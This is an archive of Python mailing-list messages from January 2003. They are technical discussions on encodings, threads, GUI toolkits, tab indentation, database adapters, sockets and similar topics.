http://www.rendermania.com/





From mwh at python.net  Fri Jan 31 10:16:02 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 31 Jan 2003 15:16:02 GMT
Subject: Reliably getting/setting the (current) encoding name?
References: <mailman.1043989740.10681.python-list@python.org>
Message-ID: <7h3znphwdtp.fsf@pc150.maths.bris.ac.uk>

"Mike C. Fletcher" <mcfletch at rogers.com> writes:

> The codecs module doesn't appear to have a "get default codec name"
> function.  So I'm asking the question:
> 
>     How does one reliably get the currently-active default codec name
>     (i.e. the one that reflects the currently-set locale) as suitable
>     for use with uncode.encode( ... )?

I don't know the answer to this one, I'm afraid.

> and idealy:
> 
>     How does one set the default encoding to be used by:
>         str( unicode )
>     and
>         "My log message: value = %s"%( unicode )
>     ?
> 
> to avoid ASCII-encoding errors everywhere, without having to add
> conversion code all over the joint?

Here I'd say: don't add conversion code "all over the joint", add it
"at the edges", i.e. where the unicode strings get into your library.

Cheers,
M.

-- 
 All parts should go together without forcing. You must remember that
 the parts you are  reassembling were disassembled by you.  Therefore,
 if you can't get them together again, there must be a reason. By all
 means, do not use a hammer.           -- IBM maintenance manual, 1925



From max at alcyone.com  Fri Jan 24 06:32:32 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 03:32:32 -0800
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
Message-ID: <3E312450.5F2C1B8D@alcyone.com>

Uwe Schmitt wrote:

> AFAIK there is no method in the threading module to kill a thread.
> Each thread has to terminate itself by watching status variables.
> But: what happens if I start a thread, and when I want to kill
> this thread, I delete all references to the according Thread object,
> and call the garbage collector.
> Will this work ??

No.  A thread needs to suicide cooperatively; have it, say, periodically
check a flag that, when set, will cause the thread to stop itself.  When
you want to kill the thread, set the flag.

> And another question: how fast is the garbage collector ?

If you're asking how quickly __del__ methods get called, it's an
implementation detail.  You're not even really guaranteed that the
__del__ method will ever get called under some circumstances.  (Either
way it's a side issue here, even removing the last reference to a thread
will not kill it.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am a gentlemen:  I live by robbing the poor.
\__/ George Bernard Shaw
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From zope at thewebsons.com  Wed Jan  8 17:50:03 2003
From: zope at thewebsons.com (beno)
Date: Wed, 08 Jan 2003 18:50:03 -0400
Subject: Too Self Centered
In-Reply-To: <PzWS9.117739$Hs2.11053026@kent.svc.tds.net>
References: <mailman.1041984834.14592.python-list@python.org>
Message-ID: <5.1.0.14.0.20030108184949.01f80cb8@mail.thewebsons.com>

At 02:27 PM 1/8/2003 +0000, you wrote:
> > I'm writing my first real script and running into what appears to be a
> > problem. Although this code works perfectly well, it seems to have way too
> > many uses of *self.* in it.
>
>I often use the following idiom for methods in Leo:
>
>def spam(self,...):
>
>     v = self
>     # Now use v instead of self
>
>The idea is to use one-letter codes for common classes. Leo uses c for
>"commanders", f for frames, t for Tk.Text widgets or "tnodes", v for
>"vnodes", u for "undoer" objects, etc.  With this idiom, objects of the
>class in which the method exists are handled just like all other objects.
>It saves typing and makes the type of all objects clear.
>
>One could use:
>
>def spam,(v,...):
>     # etc.
>
>instead, but that would violate the coding guidelines (and pychecker would
>complain by default).
>
>This scheme is simple, clear, concise, effective.  It has no drawbacks that
>I know of.

Thanks,
beno






From theller at python.net  Thu Jan 30 15:11:11 2003
From: theller at python.net (Thomas Heller)
Date: 30 Jan 2003 21:11:11 +0100
Subject: .pyw files
References: <mailman.1043954457.18687.python-list@python.org>
Message-ID: <vg06o0tc.fsf@python.net>

Tim Peters <tim.one at comcast.net> writes:

> [Kevin Altis]
> > I thought .pyw got compiled to .pywc and an optimized compile would be
> > .pywo? That is based on the default being to just append 'c' or 'o' to the
> > original extension. Has that changed or am I remembering incorrectly?
> 
> If you don't have Python installed, it doesn't matter; if you do have Python
> installed, you could have found out the answer faster than it took to write
> the question <0.9 wink>.

Not if he's currently running Linux, for example.

Thomas



From martin at v.loewis.de  Sat Jan 25 06:26:59 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 12:26:59 +0100
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com> <3E31F9ED.7090806@kootenay.com> <b0t0qj$76g$05$1@news.t-online.com> <b0te5n$geu$1@news2.tilbu1.nb.home.nl>
Message-ID: <m3bs25wjuk.fsf@mira.informatik.hu-berlin.de>

"vincent wehren" <v.wehren at home.nl> writes:

> ChineseCodecs? Are those the ones the guys at BasisTech promised to the
> Python community
> (http://www.basistech.com/papers/chinese/python-zh-transcoding-iuc20-te2.pdf
> )? Are they aleady available?

I don't know. I'm talking about the package at

ftp://freebsd.sinica.edu.tw/pub/ycheng/python/ChineseCodecs1.2.0.tar.gz

Regards,
Martin



From tismer at tismer.com  Thu Jan 16 12:11:22 2003
From: tismer at tismer.com (Christian Tismer)
Date: Thu, 16 Jan 2003 18:11:22 +0100
Subject: Changing truth
In-Reply-To: <m34r89703y.fsf@mira.informatik.hu-berlin.de>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk> <mailman.1042714955.32205.python-list@python.org> <m34r89703y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3E26E7BA.5010207@tismer.com>

Martin v. L?wis wrote:
> Christian Tismer <tismer at tismer.com> writes:
[Assigning to True, False, None]

> Assignment to None will be disallowed in a future release. True and
> False would have been banned in the same way as well, if testing
> hadn't found that quite a lot of code has constants named True and
> False already. As this code gets modified to use the builtin
> constants, SyntaxWarnings, then Errors, can be added for these as
> well.

Maybe a compromize would be to capture
assignments to True and False in a way
that they issue a warning if the assigned
value is not coercable to 1 resp. 0?

you-can-have-any-color-provided-it's-black - ly y'rs - chris

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From Nemesis at nowhere.invalid.it  Mon Jan 27 08:19:35 2003
From: Nemesis at nowhere.invalid.it (Nemesis)
Date: Mon, 27 Jan 2003 13:19:35 GMT
Subject: PyGtk and multiple windows
References: <ijau0b.1j.ln@Nemesis> <L19Z9.5613$V6.7938@news.indigo.ie>
Message-ID: <f4b31b.q9.ln@Nemesis>

Disinteressandosi completamente del fatto che l'entropia dell'universo
 ? in costante crescita Padraig at Linux.ie l'ha aumentata dicendo:

> Does this help?
> http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq10.006.htp

Thanks, I'll try this solution.
-- 
 |\ |       <-> http://digilander.libero.it/nemesis2001/
 | \|emesis <->      "War, war never change us..."
  



From aahz at pythoncraft.com  Mon Jan 20 22:40:20 2003
From: aahz at pythoncraft.com (Aahz)
Date: 20 Jan 2003 22:40:20 -0500
Subject: classmethod() not inherited?
References: <mailman.1042710569.22446.python-list@python.org> <m38yxl8k7y.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0iff4$4v6$1@panix2.panix.com>

In article <m38yxl8k7y.fsf at mira.informatik.hu-berlin.de>,
Martin v. =?iso-8859-15?q?L=F6wis?= <martin at v.loewis.de> wrote:
>
>class Person:
>  minage = 0
>  maxage = 100
>  def span(self):
>    return self.maxage-self.minage
>  span=classmethod(span)

Why are you using 'self' instead of 'cls'?  I think having the reminder
that span is a classmethod is a Good Idea.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From v.wehren at home.nl  Sun Jan  5 06:35:50 2003
From: v.wehren at home.nl (v.wehren)
Date: Sun, 5 Jan 2003 12:35:50 +0100
Subject: Tkinter question: position cursor within text widget
Message-ID: <av94tj$10p$1@news2.tilbu1.nb.home.nl>

I have a small Tkinter question:

After loading the contens of a text file into a text widget with something
like: <snip>
     content = inf.read()
     self.textbox.insert(END, content)
     self.textbox.focus_set()
      </snip>

I want the insert cursor to be at the home position after the file has
loaded.Is there a simple method to position the cursor at a given index? I
haven't *found* any in the "prevailing" Tkinter sources across the web
yet...

Anybody?

Thanx!
Vincent Wehren





From andrews at pcug.org.au  Thu Jan 16 22:27:21 2003
From: andrews at pcug.org.au (Avery Andrews)
Date: Fri, 17 Jan 2003 03:27:21 GMT
Subject: Is PY patching a problem (esp. on Windows)
In-Reply-To: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com>
References: <BIrV9.227$Td6.107695248@newssvr13.news.prodigy.com>
Message-ID: <Pine.GSO.4.21.0301171424020.24170-100000@supreme.pcug.org.au>

Armin Rigo's game editor (QuArK) uses PY patching quite extensively for
updates (never PYC), and this problem does not seem to have arisen in
practice, for whatever theoretical reason.  It's a Windows app,
distributed by self-extracting .exe's and .zip files, usng pkzipw, with no
clever settings.

On Thu, 16 Jan 2003, Dennis Reinhardt wrote:

> If I understand correctly , Python looks only at the file timestamp to
> determine whether to re-compile a PY file to create a PYC file.  If so, what
> prevents the following scenario:
> 
> Feb. 2, I release a complete embedded Python hosted program
> Feb 10, I issue a zipped PY patch file
> Feb 13 (a bad day) the user installs and runs the Feb 2 release.  The Feb 10
> patch is applied subsequently.
> 
> It looks to me on Feb 13 that the date of the PY file from the Feb 2 release
> is Feb 2 and the date of the created PYC is Feb 13.  Now the patch is
> applied and the PY file date changes from Feb. 2 to Feb 10.  ... but the
> date of the PYC is later and so it does not get changed.  The PYC file is
> thus out of date.
> 
> On Windows, unzipping a file does not change the file creation date.  This
> scenario may not be a problem under Unix because the PY patch file will
> carry the timestamp of when it was copied, not when it was created.
> 
> I understand the workaround of including a PYC file in the Feb 10 patch file
> (doubling the download size).  I am writing here to see if this is a non-bug
> because I am overlooking something, if it is a bug, or there is another
> solution already in place.  One thing I wonder about and think would be
> useful is if there is a way for a program or running option to suppress
> generating the PYC file in the first place.
> --
> 
> Dennis Reinhardt
> 
> http://www.dair.com
> 
> 
> 




From morden at shadows.net  Thu Jan  9 16:25:10 2003
From: morden at shadows.net (morden)
Date: Thu, 09 Jan 2003 13:25:10 -0800
Subject: GUI toolkits
In-Reply-To: <avfsc2$8ar$1@bob.news.rcn.net>
References: <avfsc2$8ar$1@bob.news.rcn.net> <avjmg0$s03$03$1@news.t-online.com> <avkedn$h8n$1@bob.news.rcn.net> <ksgkva-tt4.ln@majestix.gallien.de>
Message-ID: <avkj6b$s9h$1@bob.news.rcn.net>

Detlev Offenbach wrote:

> morden wrote:
>
>
> >Thomas Guettler wrote:
> >
> >
> >>morden schrieb:
> >>
> >>
> >>>Is there info availbale somewhere on the relative merits of tkinter
> >>>vs. pyGnome?
> >>
> >>
> >>I think comparing these makes no sense. Tkinter is for developing GUIs
> >>while Gnome is a desktop environment.
> >>
> >>You could compare tkinter, pyGtk and wxPython with each other.
> >
> >I've meant Tkinter and pyGtk. But I see by now what Tkinter more
> >popular so I'll try to give it a try first.
> >
> >
> >>There are comparisons available, but I have no ULR right now.
> >>
> >>May favorit, if you want to develop for win32 and unix is wxPython.
> >
> >Ok. I have a luxury to not care about win32 at this point.
> >And Tkinter seem to work on it also anyhow. Any selling points
> >for wxPython compared to Tkinter that you'd care to mention?
>
>
> You could try PyQt as well. IMHO, it has a better look and is easier to 

I was thinking of that. But I need to use this in a commerical app
eventually. We are in niche market with small volume and $20k for 5 
developer Qt commercial license is more than my employer can bear at 
this point. Other than that I agree. Qt seems to be miles ahead of Gtk.
I would've used that if there were no licensing issues.

> program. As an example for what you can do with it please see my Python
> IDE eric3 at http://www.die-offenbachs.de/detlev/eric3.html
>
Thank you for the URL. The screenshots look awesome.




From peter at engcorp.com  Sun Jan 12 09:55:27 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 09:55:27 -0500
Subject: Windows Console Colors
References: <3e215e09$1_4@corp.newsgroups.com>
Message-ID: <3E2181DF.1D7B808F@engcorp.com>

Bill Walker wrote:
> 
> Thanks for all the answers to my post. Attached is one of the best
> solutions -- so neat that I thought I would share it. Put this little bit of
> code at the start of your script and the windows dos console will be yellow
> on blue
> instead of the terribly boring white on black.
> 
> # code to change colors of the windows dos console
> import os
> print r" Ansi codes for yellow on blue"

...provided, I believe, you have installed ANSI.SYS in your
CONFIG.SYS file, which is not the default.

-Peter



From dave at pythonapocrypha.com  Wed Jan  8 11:26:53 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 8 Jan 2003 08:26:53 -0800 (PST)
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301071948.71364a03@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com>
 <3e1b2565$0$213$a1866201@newsreader.visi.com> <52719db8.0301071948.71364a03@posting.google.com>
Message-ID: <Pine.LNX.4.51.0301080812170.23811@ns0.tbye.com>

On Tue, 7 Jan 2003, James Huang wrote:

> > If that's your definiton, all programming languages of which
> > I'm aware are "scripting languages".  At least under Linux,
> > issuing "OS commands"  is a standard library function accessible
> > to all languages.  C and assembly language can both use the
> > exact same system() or exec calls that Python and Perl do.
>
> Gee... Anyway, this is what I call scripting:
>
>    copy '*.java, *.jj' except '*Test*' in '~/src/'
>         recursive echo
>         to '~/archive/today';
>
>    copy '*.java, *.jj' except '*Test*' in '~/src/'
>         recursive echo
>         into '~/archive/today_src.jar';
>
> This is programming, "scriptingly":
>
>    do 'http://www.google.com' as sgml
>    {
>    <a>:   println '<a>   link: ', $_.href;
>    <img>: println '<img> link: ', $_.src;
>    }
>
> This is pure programming:
>
>    for i from 1 to 10 {
>      println i;
>    }

Care to elaborate? From the above it seems that, according to your
definition, the difference between scripting and programming is purely
syntactic. Hmm... admittedly this IS a "novel thought on scripting
languages", but probably not in the sense you were shooting for. IOW, it
looks like your idea of scripting is closer to "domain-specific syntax" or
something, in which case SQL would be a scripting language, right? (if
not, why not?)

Part of my problem is that it's common to use Python for tasks that
traditionally fall under programming (applications development, system
programming, etc.) as well as tasks that traditionally fall under
scripting (the equivalent of one-off scripts that you could also write in
bash, or things called in cron jobs) to the point that the distinction
between the two has blurred somewhat because in both cases (1) we use the
same development tools, (2) we don't do any compiling/linking or other
prepare-to-use step, and (3) we have full access to whatever resources
(APIs, libraries, shells) we need.

So what do consider to be scripting versus programming and in what way
does it matter? If Judoscript is simply a way to do Java stuff without
having to go through an explicit compile step, then cool, more power to
you. But if, as your site implies, there is additional value there that
might be useful to me (above and beyond Python and similar languages),
then help me understand what it is (note that simply asserting "it's
better!" doesn't really help).

Thanks,
-Dave




From davecook at nowhere.net  Tue Jan 28 22:47:12 2003
From: davecook at nowhere.net (David M. Cook)
Date: Wed, 29 Jan 2003 03:47:12 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu>
Message-ID: <49IZ9.37186$Vh.5372@news2.central.cox.net>

In article <3e36d04e_2 at news.vo.lu>, pu wrote:

> Is, or under which circumstances is the time which can be gained by using a
> RAD-IDE equivalent to the time gained by using Python directly?

"RAD-IDE" environments usually provide things like UI layout and boilerplate
generation.  But UI layout is really a small part of the work on any app
(though one of the more tedious chores), and Python doesn't need all that
boilerplate that C++ does.  That said, there are several RAD/IDEs for Python
such as Boa Constructor (for wxPython) and Eric (for PyQt).  

I use pygtk with glade for layout and XEmacs for editing.

Dave Cook



From rmunn at pobox.com  Wed Jan 29 12:49:46 2003
From: rmunn at pobox.com (Robin Munn)
Date: Wed, 29 Jan 2003 17:49:46 GMT
Subject: OT: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <1043563632.4966.71.camel@refugeeMedia> <15923.64232.153575.441139@montanaro.dyndns.org> <mailman.1043595527.13755.python-list@python.org> <pm7eg-im3.ln1@beastie.ix.netcom.com> <v39007j7i12ud2@news.supernews.com>
Message-ID: <slrnb3fg29.gon.rmunn@localhost.localdomain>

John Roth <johnroth at ameritech.net> wrote:
> 
> "Dennis Lee Bieber" <wlfraed at ix.netcom.com> wrote in message
> news:pm7eg-im3.ln1 at beastie.ix.netcom.com...
>> All tabs works fine regardless of editor tab stops. All spaces works
>> fine. Mixed spaces and tabs is deadly.
> 
> So is the use of tabs in certain contexts; in particular any attempt
> to e-mail a python source to someone using Outlook Express. OE
> has this nasty habit of ignoring leading tabs.

You know, the more I see the debate about spaces and tabs, the more
puzzled I become that anyone still wants to use tabs. They *only* work
nicely, IME, when a source file has only one author making changes, with
only one editor. Give the file to another author (who uses a different
editor) and boom! Nasty stuff happens, about 80-85% of the time. Here's
an example. Tabs are represented as '>___', spaces as '.'.

First author (tabstop=4, uses tabs):

----- Begin code -----
class Foo:
>___def bar(x):
>___>___if (x>10): return x
>___>___else: return x+1
>___def quux(z):
>___>___if (z<0): return z
>___>___else: return z-1
----- End code -----

Okay, we've written a class with some methods. Now the code gets looked
at by another author, who decides that those if statements should really
be split across multiple lines with proper indentation to make the code
easier to read. He also wants to put in some print statements for
debugging purposes.

Second author (tabstop=8, uses spaces):

What the second author sees:

----- Begin code -----
class Foo:
>_______def bar(x):
>_______>_______if (x>10): return x
>_______>_______else: return x+1
>_______def quux(z):
>_______>_______if (z<0): return z
>_______>_______else: return z-1
----- End code -----

"Okay," thinks the second author, "This guy likes 8-space indents. I
think 4-space indents looks better, but better not reformat the entire
code, or tracking CVS changes will get really messy. I'll go with the
style of the code that's already here." So he makes his changes. But
remember: his editor is configured to use spaces for indents. Here's the
result:

----- Begin code -----
class Foo:
>_______def bar(x):
................print "Starting bar"
>_______>_______if (x>10):
........................return x
>_______>_______else:
........................return x+1
>_______def quux(z):
................print "Starting quux"
>_______>_______if (z<0):
........................return z
>_______>_______else:
........................return z-1
----- End code -----

So far so good, right? Wrong. Python will accept this code, and it will
work as intended, because Python considers a tab equivalent to 8 spaces.
But then the original first author takes a look at this code, and this
is what he sees:

First author (tabstop=4, uses tabs):

----- Begin code -----
class Foo:
>___def bar(x):
................print "Starting bar"
>___>___if (x>10):
........................return x
>___>___else:
........................return x+1
>___def quux(z):
................print "Starting quux"
>___>___if (z<0):
........................return z
>___>___else:
........................return z-1
----- End code -----

"What an unholy mess," thinks the first author. "What was that other guy
*thinking* when he edited this? Those print statements don't even line
up with the rest of the code! I'll fix this." And thus, this happens:

----- Begin code -----
class Foo:
>___def bar(x):
........print "Starting bar"
>___>___if (x>10):
............return x
>___>___else:
............return x+1
>___def quux(z):
........print "Starting quux"
>___>___if (z<0):
............return z
>___>___else:
............return z-1
----- End code -----

This is getting worse and worse! The previous code looked ugly, but at
least it still ran. But this code won't even run. Remember that Python
considers tabs to be 8 spaces, and so what this code actually looks like
to Python is:

----- Begin code -----
class Foo:
>_______def bar(x):
........print "Starting bar"
>_______>_______if (x>10):
............return x
>_______>_______else:
............return x+1
>_______def quux(z):
........print "Starting quux"
>_______>_______if (z<0):
............return z
>_______>_______else:
............return z-1
----- End code -----

That won't even run. It will fail with an IndentationError at the very
first print statement!


I wish this were an entirely made-up example. The code here is made up
(and utterly useless :-), but I've seen worse mixtures of tabs and
spaces in actual, non-fictitious code. By now, I cringe every time I see
a tab character in source code that I have to edit, because I know
indentation issues are going to be ugly. I have to guess what tabstop
settings the original author used so that I can exactly mimic his view
of the code, otherwise my own additions will look fine on my screen but
ugly on his. And nobody ever seems to document what tabstop settings
they use! A simple comment in the header of the file would make a lot of
difference...

I have heard two arguments for the use of tabs. One is that tabs are
only one character for an indent, while spaces are four or eight
characters -- thus you can save a lot of space using tabs instead of
spaces. The other argument is that if everyone used tabs for
indentation, there would be no arguments about four-space indents or
eight-space indents (or even something horrifyingly alien like
three-space indents, yecch). Instead, everyone would set tabstop to
their favorite indentation level and code would always look nice.

The first argument (tabs save disk space) may have had relevance twenty
years ago, but no longer. With disk space in the multi-dozen gigabytes
available cheap, saving a byte or seven at the expense of clarity is no
longer a good trade-off. This kind of reasoning is what led to the Y2K
bug. In the rare cases where a few kilobytes might make a difference
(say, transferring files across a very-low-bandwidth connection),
compression provides a much greater savings than tabs. Besides, a file
using spaces for indentation will compress to virtually the same size as
a file using tabs. The compression might even be better with spaces
instead of tabs, because of having one less different character in the
original file -- it would depend on the compression algorithm. Certainly
I would expect the difference to be minimal.

The second argument (tabs mean everyone can use their favorite
indentation) sounds nice at first, but simply doesn't work in the real
world. It inevitably, and I do mean *inevitably*, leads to ugly
space-tab mixing. Even code written by only one author using one text
editor won't be able to avoid it! Look at this:

----- Begin code -----
>____while (continue_flag &&
>____.......some_test_func() &&
>____>____..some_other_func()):
>____>____do_the_loop()
----- End code -----

Look what happened here. We've got someone using tabstop=4 and using
tabs for indentation. Naturally he's using a text editor with
autoindent, and his editor naturally fills in as much indentation as
possible using tabs. This is the default, AFAIK, for most editors if
they are set to use tabs. Now this person knows that you should only use
tabs for "real" indentation levels, and that anything else (such as
giving continuation lines "extra" indentation to make them line up)
should be done with spaces. (Using tabs to help line up continuation
lines and the like leads to even more problems, but this is a long
enough post already!) So he added spaces to fill in his second line. Now
his editor, being "helpful", gave him the same indentation level on the
third line. But what he probably doesn't realize (unless he has "View
Tab Characters" turned on) is that the third line's indentation doesn't
actually match the second line!

I don't like tab characters. I wish they would go away and that everyone
would stop using them. They cause me far too many headaches, and I have
never found a good use for them. Every time I have to edit a source file
with tabs, I have to explicitly think about indentation levels and
whether that blank on the screen is an ASCII 0x20 or part of an ASCII
0x09. I thought the point of modern text editors was to let you *stop*
worrying about indentation! But tabs, as I have demonstrated above,
force you to keep track of what your editor is doing.

Lest anyone get me wrong, I am in no way opposed to using the Tab *key*
on your keyboard to indent lines. That's a great use for it. My Vim has
the "expandtab", "smarttab", and "autoindent" options turned on, which
makes my Tab key practically into a Do-What-I-Mean key. And it always
inserts spaces (ASCII 0x20), not tabs (ASCII 0x09). The Tab key is good.
But tab characters are bad.

Tab characters have no place in modern source code. Their use is
considered harmful and should be strictly avoided.

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From davecook at nowhere.net  Tue Jan  7 20:51:04 2003
From: davecook at nowhere.net (David M. Cook)
Date: Wed, 08 Jan 2003 01:51:04 GMT
Subject: Python + PostgreSQL
References: <kp65t0lxwp.fsf@wintermute.casa> <87of6sx33n.fsf@gvdnet.dk> <kp3co497bt.fsf@wintermute.casa>
Message-ID: <slrnb1n108.1g9.davecook@localhost.localdomain>

In article <kp3co497bt.fsf at wintermute.casa>, Jorge Godoy wrote:

> From what I've seen this is just a specification of what should be the
> syntax of the packages that implement database connections. As shown
> in http://www.python.org/topics/database/modules.html there are some
> modules that can talk to PostgreSQL and are DB-SIG compliant. Is there
> one that is more commonly used? Or I can try and use any of those?
> From the description on the page above PyGresQL seems to be the one
> recommended... Am I wrong?

I would use the adaptor that comes with PostGreSQL (currently PyGreSQL) with
its DB API 2.0 compliant module (pgdb), and then switch to one of the other
DB API compliant adaptors if you outgrow that one.  PyGreSQL doesn't seem to
be getting much love these days from its developers and is quite far behind
the others (pyscopg and pyPgSQL).  Still, it is the default, you and your
users probably don't have to install anything extra to use it, and if you
stick to the pgdb module you probably won't have to change anything when
moving to another adaptor.

Dave Cook



From jeethur at sancharnet.in  Sat Jan 18 13:17:28 2003
From: jeethur at sancharnet.in (Jeethu Rao)
Date: Sat, 18 Jan 2003 23:47:28 +0530
Subject: socket programming strategy
Message-ID: <000601c2bf1d$df4b3540$9e88013d@JeethuRao>

I've been writing a multi threaded server,
Can't use select, because there'll be a bit number 
crunching to do.

My first stab at it was to use non blocking sockets
And checking for the WSAEWOULDBLOCK in the exception
Generated by the socket module. Obviously, it's Win32
Only and very un portable. So, I started using 
Timothy O'Malley's timeoutsocket module. But, I'm
Not quite satisfied (and dissatisfaction is quite a
Pain in the mind). Today, I hit upon the idea of using
select() calls inside threads, waiting for just one socket.
And I believe select() is a lot more efficient than simple
Busy waiting loops. For Unix, I assume errno.EWOULDBLOCK is
Quite the same as WSAEWOULDBLOCK.

Is this plan workable? Or have I missed something?

Thanks,

Jeethu Rao





From samthecat172 at comcast.net  Thu Jan 16 21:55:43 2003
From: samthecat172 at comcast.net (sam)
Date: Thu, 16 Jan 2003 21:55:43 -0500
Subject: Can't get sqrt() func to work
References: <fda1f7e0.0301161844.5c236733@posting.google.com>
Message-ID: <AGGdncg_zPD97bqjXTWc2Q@comcast.com>

Jack,

    Try

>>>import math
>>>math.sqrt(25)
5.0



"deadair88" <deadair at swirvemail.com> wrote in message
news:fda1f7e0.0301161844.5c236733 at posting.google.com...
> Ok...I'm certanly not the Python expert but I do use it for many small
> tasks. I'm writing a small program for testing the primality of a
> number and need to call the sqrt() function as defined in the C
> standard or the python module math or cmath both of which should be
> built in. When I call the func sqrt(x) I get an error that looks
> something like this:
>
> >>>Traceback (most recent call last):
> >>>  File "<pyshell#1>", line 1, in ?
> >>>    sqrt(25)
> >>>NameError: name 'sqrt' is not defined
>
> I've tried calling from IDLE and the command prompt both to avail.
> I've tried running it from a module file with no luck. I've imported
> both math and cmath and still I can't get that darn function to work.
> What is the problem here?
>
> Thanks
> Jack D T





From palam_POOP_edes at softhome.net  Mon Jan 20 14:28:51 2003
From: palam_POOP_edes at softhome.net (Gregor)
Date: Mon, 20 Jan 2003 19:28:51 GMT
Subject: Continuations
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca>
Message-ID: <T5YW9.77420$sV3.3437814@news3.calgary.shaw.ca>

Thank you both! That little bit of clarification was exactly what I needed. 
Stackless Python may not use continuations anymore, but it's still nice to 
have my curiosity satisfied.

Greg.


-- 
Be sure to correct my address when replying by e-mail.



From cben at techunix.technion.ac.il  Mon Jan 20 12:04:01 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Mon, 20 Jan 2003 19:04:01 +0200
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <mailman.1043039555.16501.python-list@python.org>
References: <mailman.1042817433.6322.python-list@python.org>
 <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>
 <mailman.1043039555.16501.python-list@python.org>
Message-ID: <Pine.GSO.4.44_heb2.09.0301201848410.21739-100000@techunix.technion.ac.il>

On 2003-01-19, Dave Brueck wrote:

> On Sun, 19 Jan 2003, Beni Cherniavsky wrote:
> >
> > > At the time, lexical nesting didn't yet exist in Python either.
> > > The case for "magically local" bindings has gotten stronger since
> > > lexical nesting was added, but now we've got a backwards
> > > compatibility burden too.
> > >
> > There is one central use for leaving the binding alive in for loops:
> > when you can exit it prematurely and want to record where you did.
> > This is one thing missing from list comprehensions - a way to break in
> > the middle.
>
> I dunno - IMO a list comprehension is for building a list from another
> list, so the only legitimate reasons for breaking out prematurely would
> be some sort of optimization on processing ordered lists or maybe some
> sort of "select first n occurences of f(x)" or something - cases not
> common enough to warrant special list comp behavior since such needs can
> be handled much better by plain for loops.
>
Well, you are probably right.  It's usually simpler to just find the place
you need and splice (before or after the comprehension), or use a loop.

> > Especially needed when iterating over infinite interators
>
> But why use a list comprehension for that?
>
Because you will be able to <wink> (currently you can't because it will
never stop [1]_).  Actually you will want to use generator comprehensions
for that.  Anyway, you'll frequently need some consvenient way to make
finite sequences from an infinite generators.

.. [1] This might solve it now::

    def xwhile(func, iterable):
        for x in iterable:
	    if not func(x):
	       break
            yield x

yield-reply(post)-for-post-in-newsgroup-
                 -if-interesting-
                 -while-have-time-ly y'rs
    Beni Cherniavsky <cben at tx.technion.ac.il>




From jack at performancedrivers.com  Sun Jan 26 05:49:37 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Sun, 26 Jan 2003 05:49:37 -0500
Subject: skinnable, portable widgets?
In-Reply-To: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>; from vanevery@3DProgrammer.com on Sun, Jan 26, 2003 at 10:26:59AM +0000
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>
Message-ID: <20030126054937.E18606@localhost.localdomain>

On Sun, Jan 26, 2003 at 10:26:59AM +0000, Brandon Van Every wrote:
> I'm looking for a GUI widget toolkit that:
> - has a python binding
> - is skinnable
> - is portable/ported to at least Win32 and Linux
> - does not try to own the application's event pump
> - is amenable to displaying my own 3D code in a window
> - is mature, ready for prime time
> - is open source
> - whose implementation is not overly complicated, so that as things bitrot
> over the next 10 years, I can maintain it and port it to new platforms
> 
> The primary application is for games.  I must be able to control the look
> and feel of the widgets, so skinnability is a hard requirement.  Any
> recommendations?

Yes, learn to deplore skins.

-jackdied




From dave at pythonapocrypha.com  Wed Jan  8 11:11:36 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 8 Jan 2003 08:11:36 -0800 (PST)
Subject: Novel Thoughts on Scripting and Languages
In-Reply-To: <52719db8.0301071942.7d23cc46@posting.google.com>
References: <52719db8.0301062130.5299a0ff@posting.google.com>
